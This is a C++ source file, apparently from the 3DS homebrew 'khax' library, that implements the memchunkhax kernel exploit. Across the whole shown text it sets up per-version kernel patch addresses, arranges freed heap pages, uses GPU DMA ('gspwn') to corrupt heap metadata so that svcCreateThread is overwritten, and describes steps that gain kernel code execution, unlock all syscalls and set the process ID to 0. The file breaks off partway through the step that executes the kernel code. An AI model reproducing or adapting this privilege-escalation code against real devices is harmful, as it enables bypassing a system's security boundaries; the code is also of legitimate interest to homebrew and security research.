| 1 | #include <3ds.h>\r |
| 2 | #include <cstddef>\r |
| 3 | #include <cstdint>\r |
| 4 | #include <cstdio>\r |
| 5 | #include <cstdlib>\r |
| 6 | #include <cstring>\r |
| 7 | #include <limits>\r |
| 8 | \r |
| 9 | #include "khax.h"\r |
| 10 | #include "khaxinternal.h"\r |
| 11 | \r |
| 12 | //------------------------------------------------------------------------------------------------\r |
| 13 | namespace KHAX\r |
| 14 | {\r |
| 15 | //------------------------------------------------------------------------------------------------\r |
| 16 | // Kernel and hardware version information.\r |
| 17 | struct VersionData\r |
| 18 | {\r |
| 19 | // New 3DS?\r |
| 20 | bool m_new3DS;\r |
| 21 | // Kernel version number\r |
| 22 | u32 m_kernelVersion;\r |
| 23 | // Nominal version number lower bound (for informational purposes only)\r |
| 24 | u32 m_nominalVersion;\r |
| 25 | // Patch location in svcCreateThread\r |
| 26 | u32 m_threadPatchAddress;\r |
| 27 | // Original version of code at m_threadPatchAddress\r |
| 28 | static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;\r |
| 29 | // System call unlock patch location\r |
| 30 | u32 m_syscallPatchAddress;\r |
| 31 | // Kernel virtual address mapping of FCRAM\r |
| 32 | u32 m_fcramVirtualAddress;\r |
| 33 | // Physical mapping of FCRAM on this machine\r |
| 34 | static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;\r |
| 35 | // Physical size of FCRAM on this machine\r |
| 36 | u32 m_fcramSize;\r |
| 37 | // Address of KThread address in kernel (KThread **)\r |
| 38 | static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);\r |
| 39 | // Address of KProcess address in kernel (KProcess **)\r |
| 40 | static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);\r |
| 41 | // Pseudo-handle of the current KProcess.\r |
| 42 | static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;\r |
| 43 | // Returned pointers within a KProcess object. This abstracts out which particular\r |
| 44 | // version of the KProcess object is in use.\r |
| 45 | struct KProcessPointers\r |
| 46 | {\r |
| 47 | KSVCACL *m_svcAccessControl;\r |
| 48 | u32 *m_kernelFlags;\r |
| 49 | u32 *m_processID;\r |
| 50 | };\r |
| 51 | // Creates a KProcessPointers for this kernel version and pointer to the object.\r |
| 52 | KProcessPointers(*m_makeKProcessPointers)(void *kprocess);\r |
| 53 | \r |
| 54 | // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r |
| 55 | // address using the version-specific information in this table entry.\r |
| 56 | void *ConvertLinearUserVAToKernelVA(void *address) const;\r |
| 57 | \r |
| 58 | // Retrieve a VersionData for this kernel, or null if not recognized.\r |
| 59 | static const VersionData *GetForCurrentSystem();\r |
| 60 | \r |
| 61 | private:\r |
| 62 | // Implementation behind m_makeKProcessPointers.\r |
| 63 | template <typename KProcessType>\r |
| 64 | static KProcessPointers MakeKProcessPointers(void *kprocess);\r |
| 65 | \r |
| 66 | // Table of these.\r |
| 67 | static const VersionData s_versionTable[];\r |
| 68 | };\r |
| 69 | \r |
| 70 | //------------------------------------------------------------------------------------------------\r |
| 71 | // ARM11 kernel hack class.\r |
| 72 | class MemChunkHax\r |
| 73 | {\r |
| 74 | public:\r |
| 75 | // Construct using the version information for the current system.\r |
| 76 | MemChunkHax(const VersionData *versionData)\r |
| 77 | : m_versionData(versionData),\r |
| 78 | m_nextStep(1),\r |
| 79 | m_corrupted(0),\r |
| 80 | m_overwriteMemory(nullptr),\r |
| 81 | m_overwriteAllocated(0),\r |
| 82 | m_extraLinear(nullptr)\r |
| 83 | {\r |
| 84 | s_instance = this;\r |
| 85 | }\r |
| 86 | \r |
| 87 | // Free memory and such.\r |
| 88 | ~MemChunkHax();\r |
| 89 | \r |
| 90 | // Umm, don't copy this class.\r |
| 91 | MemChunkHax(const MemChunkHax &) = delete;\r |
| 92 | MemChunkHax &operator =(const MemChunkHax &) = delete;\r |
| 93 | \r |
| 94 | // Basic initialization.\r |
| 95 | Result Step1_Initialize();\r |
| 96 | // Allocate linear memory for the memchunkhax operation.\r |
| 97 | Result Step2_AllocateMemory();\r |
| 98 | // Free the second and fourth pages of the five.\r |
| 99 | Result Step3_SurroundFree();\r |
| 100 | // Verify that the freed heap blocks' data matches our expected layout.\r |
| 101 | Result Step4_VerifyExpectedLayout();\r |
| 102 | // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r |
| 103 | Result Step5_CorruptCreateThread();\r |
| 104 | // Execute svcCreateThread to execute code at SVC privilege.\r |
| 105 | Result Step6_ExecuteSVCCode();\r |
| 106 | // Grant access to all services.\r |
| 107 | Result Step7_GrantServiceAccess();\r |
| 108 | \r |
| 109 | private:\r |
| 110 | // SVC-mode entry point thunk (true entry point).\r |
| 111 | static Result Step6a_SVCEntryPointThunk();\r |
| 112 | // SVC-mode entry point.\r |
| 113 | Result Step6b_SVCEntryPoint();\r |
| 114 | // Undo the code patch that Step5_CorruptCreateThread did.\r |
| 115 | Result Step6c_UndoCreateThreadPatch();\r |
| 116 | // Fix the heap corruption caused as a side effect of step 5.\r |
| 117 | Result Step6d_FixHeapCorruption();\r |
| 118 | // Grant our process access to all system calls, including svcBackdoor.\r |
| 119 | Result Step6e_GrantSVCAccess();\r |
| 120 | // Flush instruction and data caches.\r |
| 121 | Result Step6f_FlushCaches();\r |
| 122 | // Patch the process ID to 0. Runs as svcBackdoor.\r |
| 123 | static Result Step7a_PatchPID();\r |
| 124 | // Restore the original PID. Runs as svcBackdoor.\r |
| 125 | static Result Step7b_UnpatchPID();\r |
| 126 | \r |
| 127 | // Helper for dumping memory to SD card.\r |
| 128 | template <std::size_t S>\r |
| 129 | bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;\r |
| 130 | \r |
| 131 | // Result returned by hacked svcCreateThread upon success.\r |
| 132 | static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;\r |
| 133 | \r |
| 134 | // Version information.\r |
| 135 | const VersionData *const m_versionData;\r |
| 136 | // Next step number.\r |
| 137 | int m_nextStep;\r |
| 138 | // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.\r |
| 139 | int m_corrupted;\r |
| 140 | \r |
| 141 | // Free block structure in the kernel, the one used in the memchunkhax exploit.\r |
| 142 | struct HeapFreeBlock\r |
| 143 | {\r |
| 144 | int m_count;\r |
| 145 | HeapFreeBlock *m_next;\r |
| 146 | HeapFreeBlock *m_prev;\r |
| 147 | int m_unknown1;\r |
| 148 | int m_unknown2;\r |
| 149 | };\r |
| 150 | \r |
| 151 | // The layout of a memory page.\r |
| 152 | union Page\r |
| 153 | {\r |
| 154 | unsigned char m_bytes[4096];\r |
| 155 | HeapFreeBlock m_freeBlock;\r |
| 156 | };\r |
| 157 | \r |
| 158 | // The linear memory allocated for the memchunkhax overwrite.\r |
| 159 | struct OverwriteMemory\r |
| 160 | {\r |
| 161 | union\r |
| 162 | {\r |
| 163 | unsigned char m_bytes[6 * 4096];\r |
| 164 | Page m_pages[6];\r |
| 165 | };\r |
| 166 | };\r |
| 167 | OverwriteMemory *m_overwriteMemory;\r |
| 168 | unsigned m_overwriteAllocated;\r |
| 169 | \r |
| 170 | // Additional linear memory buffer for temporary purposes.\r |
| 171 | union ExtraLinearMemory\r |
| 172 | {\r |
| 173 | ALIGN(64) unsigned char m_bytes[64];\r |
| 174 | // When interpreting as a HeapFreeBlock.\r |
| 175 | HeapFreeBlock m_freeBlock;\r |
| 176 | };\r |
| 177 | // Must be a multiple of 16 for use with gspwn.\r |
| 178 | static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");\r |
| 179 | ExtraLinearMemory *m_extraLinear;\r |
| 180 | \r |
| 181 | // Copy of the old ACL\r |
| 182 | KSVCACL m_oldACL;\r |
| 183 | \r |
| 184 | // Original process ID.\r |
| 185 | u32 m_originalPID;\r |
| 186 | \r |
| 187 | // Buffers for dumped data when debugging.\r |
| 188 | #ifdef KHAX_DEBUG_DUMP_DATA\r |
| 189 | unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];\r |
| 190 | unsigned char m_savedKThread[sizeof(KThread)];\r |
| 191 | unsigned char m_savedThreadSVC[0x100];\r |
| 192 | #endif\r |
| 193 | \r |
| 194 | // Pointer to our instance.\r |
| 195 | static MemChunkHax *volatile s_instance;\r |
| 196 | };\r |
| 197 | \r |
| 198 | //------------------------------------------------------------------------------------------------\r |
| 199 | // Make an error code\r |
| 200 | inline Result MakeError(Result level, Result summary, Result module, Result error);\r |
| 201 | enum : Result { KHAX_MODULE = 254 };\r |
| 202 | // Check whether this system is a New 3DS.\r |
| 203 | Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);\r |
| 204 | // gspwn, meant for reading from or writing to freed buffers.\r |
| 205 | Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);\r |
| 206 | // Given a pointer to a structure that is a member of another structure,\r |
| 207 | // return a pointer to the outer structure. Inspired by Windows macro.\r |
| 208 | template <typename Outer, typename Inner>\r |
| 209 | Outer *ContainingRecord(Inner *member, Inner Outer::*field);\r |
| 210 | }\r |
| 211 | \r |
| 212 | \r |
| 213 | //------------------------------------------------------------------------------------------------\r |
| 214 | //\r |
| 215 | // Class VersionData\r |
| 216 | //\r |
| 217 | \r |
| 218 | //------------------------------------------------------------------------------------------------\r |
| 219 | // Creates a KProcessPointers for this kernel version and pointer to the object.\r |
| 220 | template <typename KProcessType>\r |
| 221 | KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)\r |
| 222 | {\r |
| 223 | KProcessType *kproc = static_cast<KProcessType *>(kprocess);\r |
| 224 | \r |
| 225 | KProcessPointers result;\r |
| 226 | result.m_svcAccessControl = &kproc->m_svcAccessControl;\r |
| 227 | result.m_processID = &kproc->m_processID;\r |
| 228 | result.m_kernelFlags = &kproc->m_kernelFlags;\r |
| 229 | return result;\r |
| 230 | }\r |
| 231 | \r |
| 232 | //------------------------------------------------------------------------------------------------\r |
| 233 | // System version table\r |
| 234 | const KHAX::VersionData KHAX::VersionData::s_versionTable[] =\r |
| 235 | {\r |
| 236 | #define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>\r |
| 237 | \r |
| 238 | // Old 3DS, old address layout\r |
| 239 | { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
| 240 | { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
| 241 | { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
| 242 | { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
| 243 | { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
| 244 | { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
| 245 | { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
| 246 | // Old 3DS, new address layout\r |
| 247 | { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r |
| 248 | { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r |
| 249 | // New 3DS\r |
| 250 | { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested\r |
| 251 | { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },\r |
| 252 | \r |
| 253 | #undef KPROC_FUNC\r |
| 254 | };\r |
| 255 | \r |
| 256 | //------------------------------------------------------------------------------------------------\r |
| 257 | // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r |
| 258 | // address using the version-specific information in this table entry.\r |
| 259 | void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const\r |
| 260 | {\r |
| 261 | static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),\r |
| 262 | "you're sure that this is a 3DS?");\r |
| 263 | \r |
| 264 | // Need the pointer as an integer.\r |
| 265 | u32 addr = reinterpret_cast<u32>(address);\r |
| 266 | \r |
| 267 | // Convert the address to a physical address, since that's how we know the mapping.\r |
| 268 | u32 physical = osConvertVirtToPhys(addr);\r |
| 269 | if (physical == 0)\r |
| 270 | {\r |
| 271 | return nullptr;\r |
| 272 | }\r |
| 273 | \r |
| 274 | // Verify that the address is within FCRAM.\r |
| 275 | if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))\r |
| 276 | {\r |
| 277 | return nullptr;\r |
| 278 | }\r |
| 279 | \r |
| 280 | // Now we can convert.\r |
| 281 | return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);\r |
| 282 | }\r |
| 283 | \r |
| 284 | //------------------------------------------------------------------------------------------------\r |
| 285 | // Retrieve a VersionData for this kernel, or null if not recognized.\r |
| 286 | const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()\r |
| 287 | {\r |
| 288 | // Get kernel version for comparison.\r |
| 289 | u32 kernelVersion = osGetKernelVersion();\r |
| 290 | \r |
| 291 | // Determine whether this is a New 3DS.\r |
| 292 | bool isNew3DS;\r |
| 293 | if (IsNew3DS(&isNew3DS, kernelVersion) != 0)\r |
| 294 | {\r |
| 295 | return nullptr;\r |
| 296 | }\r |
| 297 | \r |
| 298 | // Search our list for a match.\r |
| 299 | for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)\r |
| 300 | {\r |
| 301 | // New 3DS flag must match.\r |
| 302 | if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))\r |
| 303 | {\r |
| 304 | continue;\r |
| 305 | }\r |
| 306 | // Kernel version must match.\r |
| 307 | if (entry->m_kernelVersion != kernelVersion)\r |
| 308 | {\r |
| 309 | continue;\r |
| 310 | }\r |
| 311 | \r |
| 312 | return entry;\r |
| 313 | }\r |
| 314 | \r |
| 315 | return nullptr;\r |
| 316 | }\r |
| 317 | \r |
| 318 | \r |
| 319 | //------------------------------------------------------------------------------------------------\r |
| 320 | //\r |
| 321 | // Class MemChunkHax\r |
| 322 | //\r |
| 323 | \r |
| 324 | //------------------------------------------------------------------------------------------------\r |
| 325 | KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;\r |
| 326 | \r |
| 327 | //------------------------------------------------------------------------------------------------\r |
| 328 | // Basic initialization.\r |
| 329 | Result KHAX::MemChunkHax::Step1_Initialize()\r |
| 330 | {\r |
| 331 | if (m_nextStep != 1)\r |
| 332 | {\r |
| 333 | KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);\r |
| 334 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
| 335 | }\r |
| 336 | \r |
| 337 | // Nothing to do in current implementation.\r |
| 338 | ++m_nextStep;\r |
| 339 | return 0;\r |
| 340 | }\r |
| 341 | \r |
| 342 | //------------------------------------------------------------------------------------------------\r |
| 343 | // Allocate linear memory for the memchunkhax operation.\r |
| 344 | Result KHAX::MemChunkHax::Step2_AllocateMemory()\r |
| 345 | {\r |
| 346 | if (m_nextStep != 2)\r |
| 347 | {\r |
| 348 | KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);\r |
| 349 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
| 350 | }\r |
| 351 | \r |
| 352 | // Allocate the linear memory for the overwrite process.\r |
| 353 | u32 address = 0xFFFFFFFF;\r |
| 354 | Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,\r |
| 355 | static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));\r |
| 356 | \r |
| 357 | KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);\r |
| 358 | \r |
| 359 | if (result != 0)\r |
| 360 | {\r |
| 361 | return result;\r |
| 362 | }\r |
| 363 | \r |
| 364 | m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);\r |
| 365 | m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now\r |
| 366 | \r |
| 367 | // Why didn't we get a page-aligned address?!\r |
| 368 | if (address & 0xFFF)\r |
| 369 | {\r |
| 370 | // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.\r |
| 371 | KHAX_printf("Step2:misaligned memory\n");\r |
| 372 | return MakeError(26, 7, KHAX_MODULE, 1009);\r |
| 373 | }\r |
| 374 | \r |
| 375 | // Allocate extra memory that we'll need.\r |
| 376 | m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),\r |
| 377 | alignof(*m_extraLinear)));\r |
| 378 | if (!m_extraLinear)\r |
| 379 | {\r |
| 380 | KHAX_printf("Step2:failed extra alloc\n");\r |
| 381 | return MakeError(26, 3, KHAX_MODULE, 1011);\r |
| 382 | }\r |
| 383 | KHAX_printf("Step2:extra=%p\n", m_extraLinear);\r |
| 384 | \r |
| 385 | // OK, we're good here.\r |
| 386 | ++m_nextStep;\r |
| 387 | return 0;\r |
| 388 | }\r |
| 389 | \r |
| 390 | //------------------------------------------------------------------------------------------------\r |
| 391 | // Free the second and fourth pages of the five.\r |
| 392 | Result KHAX::MemChunkHax::Step3_SurroundFree()\r |
| 393 | {\r |
| 394 | if (m_nextStep != 3)\r |
| 395 | {\r |
| 396 | KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);\r |
| 397 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
| 398 | }\r |
| 399 | \r |
| 400 | // We do this because the exploit involves triggering a heap coalesce. We surround a heap\r |
| 401 | // block (page) with two freed pages, then free the middle page. By controlling both outside\r |
| 402 | // pages, we know their addresses, and can fix up the corrupted heap afterward.\r |
| 403 | //\r |
| 404 | // Here's what the heap will look like after step 3:\r |
| 405 | //\r |
| 406 | // ___XX-X-X___\r |
| 407 | //\r |
| 408 | // _ = unknown (could be allocated and owned by other code)\r |
| 409 | // X = allocated\r |
| 410 | // - = allocated then freed by us\r |
| 411 | //\r |
| 412 | // In step 4, we will free the second page:\r |
| 413 | //\r |
| 414 | // ___X--X-X___\r |
| 415 | //\r |
| 416 | // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's\r |
| 417 | // "previous" pointer will be set to point to the second page rather than the third. We will\r |
| 418 | // use gspwn to make that overwrite kernel code instead.\r |
| 419 | //\r |
| 420 | // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little\r |
| 421 | // sandbox to play in. In particular, we can use this design to determine the address of the\r |
| 422 | // next block--by controlling the location of the next block.\r |
| 423 | u32 dummy;\r |
| 424 | \r |
| 425 | // Free the third page.\r |
| 426 | if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,\r |
| 427 | sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))\r |
| 428 | {\r |
| 429 | KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);\r |
| 430 | return result;\r |
| 431 | }\r |
| 432 | m_overwriteAllocated &= ~(1u << 2);\r |
| 433 | \r |
| 434 | // Free the fifth page.\r |
| 435 | if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,\r |
| 436 | sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))\r |
| 437 | {\r |
| 438 | KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);\r |
| 439 | return result;\r |
| 440 | }\r |
| 441 | m_overwriteAllocated &= ~(1u << 4);\r |
| 442 | \r |
| 443 | // Attempt to write to remaining pages.\r |
| 444 | //KHAX_printf("Step2:probing page [0]\n");\r |
| 445 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;\r |
| 446 | //KHAX_printf("Step2:probing page [1]\n");\r |
| 447 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;\r |
| 448 | //KHAX_printf("Step2:probing page [3]\n");\r |
| 449 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;\r |
| 450 | //KHAX_printf("Step2:probing page [5]\n");\r |
| 451 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;\r |
| 452 | KHAX_printf("Step3:probing done\n");\r |
| 453 | \r |
| 454 | // Done.\r |
| 455 | ++m_nextStep;\r |
| 456 | return 0;\r |
| 457 | }\r |
| 458 | \r |
| 459 | //------------------------------------------------------------------------------------------------\r |
| 460 | // Verify that the freed heap blocks' data matches our expected layout.\r |
| 461 | Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()\r |
| 462 | {\r |
| 463 | if (m_nextStep != 4)\r |
| 464 | {\r |
| 465 | KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);\r |
| 466 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
| 467 | }\r |
| 468 | \r |
| 469 | // Copy the first freed page (third page) out to read its heap metadata.\r |
| 470 | std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r |
| 471 | \r |
| 472 | if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],\r |
| 473 | sizeof(*m_extraLinear)))\r |
| 474 | {\r |
| 475 | KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r |
| 476 | return result;\r |
| 477 | }\r |
| 478 | \r |
| 479 | // Debug information about the memory block\r |
| 480 | KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->\r |
| 481 | ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));\r |
| 482 | KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r |
| 483 | m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r |
| 484 | \r |
| 485 | // The next page from the third should equal the fifth page.\r |
| 486 | if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(\r |
| 487 | &m_overwriteMemory->m_pages[4]))\r |
| 488 | {\r |
| 489 | KHAX_printf("Step4:[2]->next != [4]\n");\r |
| 490 | KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,\r |
| 491 | m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),\r |
| 492 | &m_overwriteMemory->m_pages[4]);\r |
| 493 | return MakeError(26, 5, KHAX_MODULE, 1014);\r |
| 494 | }\r |
| 495 | \r |
| 496 | // Copy the second freed page (fifth page) out to read its heap metadata.\r |
| 497 | std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r |
| 498 | \r |
| 499 | if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],\r |
| 500 | sizeof(*m_extraLinear)))\r |
| 501 | {\r |
| 502 | KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r |
| 503 | return result;\r |
| 504 | }\r |
| 505 | \r |
| 506 | KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->\r |
| 507 | ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));\r |
| 508 | KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r |
| 509 | m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r |
| 510 | \r |
| 511 | // The previous page from the fifth should equal the third page.\r |
| 512 | if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(\r |
| 513 | &m_overwriteMemory->m_pages[2]))\r |
| 514 | {\r |
| 515 | KHAX_printf("Step4:[4]->prev != [2]\n");\r |
| 516 | KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,\r |
| 517 | m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),\r |
| 518 | &m_overwriteMemory->m_pages[2]);\r |
| 519 | return MakeError(26, 5, KHAX_MODULE, 1014);\r |
| 520 | }\r |
| 521 | \r |
| 522 | // Validation successful\r |
| 523 | ++m_nextStep;\r |
| 524 | return 0;\r |
| 525 | }\r |
| 526 | \r |
| 527 | //------------------------------------------------------------------------------------------------\r |
| 528 | // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r |
| 529 | Result KHAX::MemChunkHax::Step5_CorruptCreateThread()\r |
| 530 | {\r |
| 531 | if (m_nextStep != 5)\r |
| 532 | {\r |
| 533 | KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);\r |
| 534 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
| 535 | }\r |
| 536 | \r |
| 537 | // Read the memory page we're going to gspwn.\r |
| 538 | if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,\r |
| 539 | sizeof(*m_extraLinear)))\r |
| 540 | {\r |
| 541 | KHAX_printf("Step5:gspwn read failed:%08lx\n", result);\r |
| 542 | return result;\r |
| 543 | }\r |
| 544 | \r |
| 545 | // Adjust the "next" pointer to point to within the svcCreateThread system call so as to\r |
| 546 | // corrupt certain instructions. The result will be that calling svcCreateThread will result\r |
| 547 | // in executing our code.\r |
| 548 | // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.\r |
| 549 | // That is, the overwrite adds this offset back in.\r |
| 550 | m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(\r |
| 551 | m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));\r |
| 552 | \r |
| 553 | // Do the GSPwn, the actual exploit we've been waiting for.\r |
| 554 | if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,\r |
| 555 | sizeof(*m_extraLinear)))\r |
| 556 | {\r |
| 557 | KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);\r |
| 558 | return result;\r |
| 559 | }\r |
| 560 | \r |
| 561 | // The heap is now corrupted in two ways (Step6 explains why two ways).\r |
| 562 | m_corrupted += 2;\r |
| 563 | \r |
| 564 | KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");\r |
| 565 | \r |
| 566 | // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third\r |
| 567 | // page into the second page, and in the process zap an instruction pair in svcCreateThread.\r |
| 568 | u32 dummy;\r |
| 569 | if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),\r |
| 570 | 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))\r |
| 571 | {\r |
| 572 | KHAX_printf("Step5:free to pwn failed:%08lx\n", result);\r |
| 573 | return result;\r |
| 574 | }\r |
| 575 | m_overwriteAllocated &= ~(1u << 1);\r |
| 576 | \r |
| 577 | // We have an additional layer of instability because of the kernel code overwrite.\r |
| 578 | ++m_corrupted;\r |
| 579 | \r |
| 580 | KHAX_printf("Step5:svcCreateThread now hacked\n");\r |
| 581 | \r |
| 582 | ++m_nextStep;\r |
| 583 | return 0;\r |
| 584 | }\r |
| 585 | \r |
| 586 | //------------------------------------------------------------------------------------------------\r |
| 587 | // Execute svcCreateThread to execute code at SVC privilege.\r |
| 588 | Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()\r |
| 589 | {\r |
| 590 | if (m_nextStep != 6)\r |
| 591 | {\r |
| 592 | KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);\r |
| 593 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
| 594 | }\r |
| 595 | \r |
| 596 | // Call svcCreateThread such that r0 is the desired exploit function. Note that the\r |
| 597 | // parameters to the usual system call thunk are rearranged relative to the actual system call\r |
| 598 | // - the thread priority parameter is actually the one that goes into r0. In addition, we\r |
| 599 | // want to pass other parameters that make for an illegal thread creation request, because the\r |
| 600 | // rest of the thread creation SVC occurs before the hacked code gets executed. We want the\r |
| 601 | // thread creation request to fail, then the hack to grant us control. Processor ID\r |
| 602 | // 0x7FFFFFFF seems to do the trick here.\r |
| 603 | Handle dummyHandle;\r |
